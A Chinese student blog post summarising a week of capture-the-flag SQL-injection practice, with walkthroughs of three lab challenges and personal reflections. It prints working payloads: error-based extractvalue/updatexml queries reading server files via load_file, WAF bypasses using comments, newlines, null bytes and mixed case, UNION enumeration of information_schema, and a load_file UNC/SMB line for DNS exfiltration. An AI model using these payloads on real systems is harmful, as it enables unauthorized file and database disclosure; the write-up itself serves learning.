Secat's Blog

学习·记录

这世界变化快的真是铃儿响叮当


第七周总结

4.5记录

SQL_4 
参数为:?id=访问x
不允许包含“--”,空格,单引号,双引号,“union”
查询文件中包含“”(双引号)里面的内容,需要查询的文件路径为:/var/test/key_1.php

查询文件?首先想到的就是mysql里面的load——file()读文件函数

题目上说不能用空格,那么空格就用/**/代替

常见的读文件,可以用16进制代替字符串

select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt')       # smb协议
select load_file('\\\\ecma.io\\1.txt')    # 可用于DNS隧道

然后…就没思路了…(渣…)

把我会的知道的步骤折腾了一遍之后没辙了,乖乖去看表哥们的writeup。。。发现里面不仅用到了load——file()函数,还有extractvalue(),substring(),length()…

百度大法好~

*extractvalue(XML_document, XPath_string);  
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串
http://blog.csdn.net/airuozhaoyang/article/details/47036923(关于extractvalue()和UpdateXML()函数)
*substring()函数:截取字符串
http://www.111cn.net/database/mysql/mysql-SUBSTRING.htm
*length()函数:返回字符串的长度

接下来是后来整理的步骤

判断字符串长度

http://103.238.227.13:10088/?id=1/**/and/**/extractvalue(1,concat(0x7e,(select/**/(length(load_file(0x2f7661722f746573742f6b65795f312e706870)))),0x7e)))
得出字符串长度为149

(图1)

查找文件中指定字符串

http://103.238.227.13:10088/?id=1/**/and/**/extractvalue(1,concat(0x7e,(select/**/(left(load_file(0x2f7661722f746573742f6b65795f312e706870),32))),0x7e))

(图2)

发现页面是这样的,怎么都出不来字符串,再看writeup,原来藏在网页源代码里面。

(图3)

接下来就是一点点地试、拼接、找flag

http://103.238.227.13:10088/?id=1%0aand%0aextractvalue(31,concat(0x7e,(select%0a(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),32,64))),0x7e))
XPATH syntax error: '~kfdsaifdsafdsafdsafdsafkdsa;fds'
http://103.238.227.13:10088/?id=1%0aand%0aextractvalue(31,concat(0x7e,(select%0a(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),64,96))),0x7e))
XPATH syntax error: '~fdsafsdafdsafas0hfdsg9Flag:"724'
http://103.238.227.13:10088/?id=1%0aand%0aextractvalue(31,concat(0x7e,(select%0a(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),96,128))),0x7e))
XPATH syntax error: '~f5a7fd1de602b30e6f39aea6193a"fs'
http://103.238.227.13:10088/?id=1%0aand%0aextractvalue(31,concat(0x7e,(select%0a(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),128,149))),0x7e))
XPATH syntax error: '~afsafdsafdsafdsafa ?> ~'

拼接去除重复的,得到flag Flag:”724f5a7fd1de602b30e6f39aea6193a

4.9记录(1)

SQL_3
访问参数为:?id=x
查找表为key的数据表,id=1值hash字段值

(图4)

从题目中可以看出来很多注入用的关键字都被过滤掉了,赶紧翻出表哥的博客(++http://p0sec.net/index.php/archives/4/++)看如何绕过

SQL绕过主要分为以下几类:
1.大小写绕过
2.简单编码绕过
3.注释绕过
4.分隔重写绕过
5.Http参数污染(HPP)
6.使用逻辑运算符 or /and绕过
7.比较操作符替换
8.同功能函数替换
9.盲注无需or和and
10.加括号
11.缓冲区溢出绕过

试了大小写绕过发现不行,再试试简单编码…连试好几个结果都是在or的地方就被检测出来,最后用的是null的编码%00绕过的。

http://103.238.227.13:10087/?id=1 o%00rder by 1 回显正常
http://103.238.227.13:10087/?id=1 o%00rder by 2 回显正常
http://103.238.227.13:10087/?id=1 o%00rder by 3 无回显
说明列数为2

查询数据库名称

http://103.238.227.13:10087/?id=1 un%00ion se%00lect 1,database() --+
当前结果:
id      1
title   title
id      1
title   sql3

查询当前数据库表

http://103.238.227.13:10087/?id=1 un%00ion se%00lect 1,gr%00oup_concat(tab%00le_name) fr%00om info%00rmation_schema.tab%00les where tab%00le_schema=database() --+
当前结果:
id      1
title   title
id      1
title   hash,key,temp

本来只知道要把出现or的给分隔开,没想到ro也得给注释掉…(字符是怎样的检测顺序?疑问脸)

查询指定表的所有字段

http://103.238.227.13:10087/?id=1 un%00ion se%00lect 1,gr%00oup_concat(id,0x7e,hash) fr%00om .key  --+
当前结果:
id      1
title   title
id      1
title   1~c3d3c17b4ca7f791f85e#$1cc72af274af4adef

不应该写key吗?看完表哥的WP才知道要在key前面加个点,why??结果出来了嗯

SQL_2

访问参数为:?id=x
查询当前数据库版本。如:5.0.1-linux-....

首先试了一下常规的查询

http://103.238.227.13:10084/?id=1 union select 1,2 --+
return:包含敏感关键字

好吧看来这个题又需要绕过,那就试试几个常规的绕过方法吧

首先试的大小写绕过

http://103.238.227.13:10084/?id=1 UnIon SelEct 1,2 --+
回显正常

(图5)

成功绕过敏感词

接下来查看数据库版本,此处用到了表哥给的资料(https://www.waitalone.cn/mysql-error-based-injection.html),结果….

http://103.238.227.13:10084/?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
包含敏感关键字

又来…包含敏感关键字X_X 然后再开启capslook改改改,结果…出来啦 XPATH syntax error: ‘~5.5.48-log~’

(图6)

4.7记录

今天仔细地看了书中关于SQL注入漏洞的讲解,再结合之前表哥给的writeup,基本了解到sql语句的含义。以前只会照搬着用,今天结合书本和学校平台上的注入题,一点一点摸索尝试感觉印象比看着别人的WP做很多题更深刻。 今天看的是:SQL注入原理,注入漏洞分类,常见数据库注入(SQL Server, MySQL注释、获取元数据、UNION查询、MySQL函数利用…)

4.9记录(2)

MySQL显错式注入(使用错误提取信息/通过异常提取信息/利用mysql中的一些特性提取信息如函数) 宽字节注入 –宽字节注入是由于编码不统一所造成的,这种注入一般出现在PHP+MYSQL中(如果写?id=’ 会被转义成'从而无法做到闭合,所以此处利用?id=%d5’突破PHP的转义,继而闭合sql语句进行SQL注入)

看完这部分手痒痒,找到上周的第一个注入题又做了一遍,上周只是跟着比划着做,一边模仿一遍嘟囔 这是啥这又是啥这是什么鬼我又抄错了要疯,现在再看状态就是 嗯嗯对和书上写的一样这个函数原来是这样用欸前两页写过这个翻书查函数…就是注入语句还记不住不会默写==,多写几次应该就会了==

今天把剩下的两个题给做完了,虽然比别人慢了好几天但还是学到了很多东西。


这周关于SQL以外的想法:

一开始表哥把四个题发下来的时候其实我没想过我要去做,因为总觉得自己来的比别人晚,基础又没有,认为表哥发这些我连名字都看不懂的不知道是干嘛的题是为其他人准备的,想着先做ctf上的题这些以后再说。

然后好像很积极的样子过了个清明假期…直到最后一天下午,该交总结了,问立强表哥能不能写CTF上的东西,结果表哥说我这样不行,这些东西早晚都是要学的,让我去好好请教李文虎表哥….有点想哭没想到最后还是得做

剩了不到一下午的时间很着急,没办法 啥都不会的自己硬着头皮去找文虎表哥,那时候表哥们的writeup已经写出来了,在表哥的指导下跟着葫芦画瓢做一个题,勉强交了writeup… 因为计划好了这周把这几个注入搞定,结合买的《web深度剖析》上面的知识和线上资料学习注入,发现SQL题并没有想象中的那样十分十分十分的难和痛苦遥不可及…于是决定第二天把剩下的做完。结果呵呵了,被高数离散大物缠的焦头烂额直到周末才做完这四个题。 反正就是吧,以后千万不要再逃避了,“以后再”也不可以成为我的挡箭牌,不尝试不用功就不可能学到东西。

很多事并没有想象中的那样困难。

另外:感谢李文虎表哥耐心的指导~

THANKS

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持

^_^